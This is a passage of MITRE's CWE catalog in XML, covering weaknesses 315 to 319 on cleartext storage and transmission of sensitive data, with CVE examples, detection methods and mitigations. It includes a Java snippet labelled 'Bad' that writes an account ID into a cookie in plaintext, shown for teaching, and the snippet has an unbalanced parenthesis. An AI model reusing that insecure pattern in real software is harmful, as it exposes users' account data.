               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Plaintext Storage in Registry</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-07-17">Plaintext Storage in the Registry</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="315" Name="Cleartext Storage of Sensitive Information in a Cookie" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext in a cookie.</Description>
         <Extended_Description>Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-44">
               <Intro_Text>The following code excerpt stores a plaintext user account ID in a browser cookie.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>response.addCookie( new Cookie("userAccountID", acctID);</xhtml:div>
               </Example_Code>
               <Body_Text>Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1800</Reference>
               <Description>Admin password in cleartext in a cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1800</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1537</Reference>
               <Description>Default configuration has cleartext usernames/passwords in cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1537</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1536</Reference>
               <Description>Usernames/passwords in cleartext in cookies.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1536</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2160</Reference>
               <Description>Authentication information stored in cleartext in a cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2160</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage in Cookie</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
            <Related_Attack_Pattern CAPEC_ID="74"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Plaintext Storage in Cookie</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-07-17">Plaintext Storage in a Cookie</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="316" Name="Cleartext Storage of Sensitive Information in Memory" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext in memory.</Description>
         <Extended_Description>
            <xhtml:p>The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the product crashes, or if the programmer does not properly clear the memory before freeing it.</xhtml:p>
            <xhtml:p>It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1517</Reference>
               <Description>Sensitive authentication information in cleartext in memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1517</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>BID:10155</Reference>
               <Description>Sensitive authentication information in cleartext in memory.</Description>
               <Link>http://www.securityfocus.com/bid/10155</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0984</Reference>
               <Description>Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0984</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0291</Reference>
               <Description>SSH client does not clear credentials from memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0291</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage in Memory</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.</Note>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Other_Notes, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Plaintext Storage in Memory</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="317" Name="Cleartext Storage of Sensitive Information in GUI" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext within the GUI.</Description>
         <Extended_Description>An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1848</Reference>
               <Description>Unencrypted passwords stored in GUI dialog may allow local users to access the passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1848</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage in GUI</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Plaintext Storage in GUI</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="318" Name="Cleartext Storage of Sensitive Information in Executable" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext in an executable.</Description>
         <Extended_Description>Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1794</Reference>
               <Description>Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and Adversary-in-the-Middle (AITM) attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1794</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1527</Reference>
               <Description>administration passwords in cleartext in executable</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1527</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage in Executable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="65"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Plaintext Storage in Executable</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="319" Name="Cleartext Transmission of Sensitive Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.</Description>
         <Extended_Description>
	 <xhtml:p>Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.</xhtml:p>
	 <xhtml:p>Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.</xhtml:p>
	 <xhtml:p>When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="311" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="311" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Cloud Computing" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
            <Technology Class="System on Chip" Prevalence="Undetermined"/>
            <Technology Name="Test/Debug Hardware" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>For hardware, this may be introduced when design does not plan for an attacker having physical access while a legitimate user is remotely operating the device.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
            <Introduction>
               <Phase>System Configuration</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>Anyone can read the information by gaining access to the channel being used for communication.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-11">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.</xhtml:p>
               </Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-42">
               <Intro_Text>The following code attempts to establish a connection to a site to communicate sensitive information.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
